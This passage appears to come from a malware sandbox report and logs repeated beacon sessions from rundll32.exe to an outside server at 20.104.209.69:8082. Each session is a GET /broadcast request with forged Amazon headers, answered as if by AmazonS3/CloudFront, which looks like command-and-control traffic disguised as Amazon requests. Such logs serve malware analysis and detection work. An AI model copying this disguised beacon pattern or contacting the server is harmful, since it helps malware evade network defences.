Jan 8, 2023 16:07:17.351242065 CET	496	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:08 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
440	192.168.2.6	50139	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:13.606518030 CET	1767	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:13.725397110 CET	1768	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:04 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
441	192.168.2.6	50140	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:14.002284050 CET	1770	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:14.120651007 CET	1771	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:05 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
442	192.168.2.6	50141	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:14.363837957 CET	1774	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:14.483874083 CET	1774	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:05 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
443	192.168.2.6	50142	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:14.728782892 CET	1777	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:14.849278927 CET	1777	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:06 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
444	192.168.2.6	50143	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:15.106142044 CET	1780	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:15.223501921 CET	1780	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:06 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
445	192.168.2.6	50144	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:15.475017071 CET	1783	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:15.593413115 CET	1784	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:06 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
446	192.168.2.6	50145	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:15.849931002 CET	1786	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:15.969202995 CET	1787	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:07 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
447	192.168.2.6	50146	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:16.269839048 CET	1789	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:16.388837099 CET	1790	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:07 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
448	192.168.2.6	50147	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:16.640135050 CET	1793	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:16.758642912 CET	1793	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:08 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
449	192.168.2.6	50148	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:17.016904116 CET	1796	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:17.136343002 CET	1796	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:08 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.6	49743	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:17.624504089 CET	499	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:17.743587971 CET	500	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:09 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
450	192.168.2.6	50149	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:17.412652969 CET	1799	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:17.530941010 CET	1799	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:08 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
451	192.168.2.6	50150	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:17.798635006 CET	1802	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:17.917099953 CET	1803	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:09 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
452	192.168.2.6	50151	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:18.672137022 CET	1805	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:18.789975882 CET	1806	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:10 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
453	192.168.2.6	50152	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:19.275737047 CET	1809	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:19.392936945 CET	1809	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:10 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
454	192.168.2.6	50153	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:20.245065928 CET	1812	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:20.363272905 CET	1812	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:11 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
455	192.168.2.6	50154	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:22.137335062 CET	1815	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:22.256773949 CET	1815	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:13 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
456	192.168.2.6	50155	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:22.524611950 CET	1818	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:22.641937971 CET	1819	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:13 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
457	192.168.2.6	50156	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:22.911917925 CET	1821	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:23.032048941 CET	1822	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:14 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
458	192.168.2.6	50157	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:23.297646046 CET	1824	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:23.415987968 CET	1825	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:14 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
459	192.168.2.6	50158	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
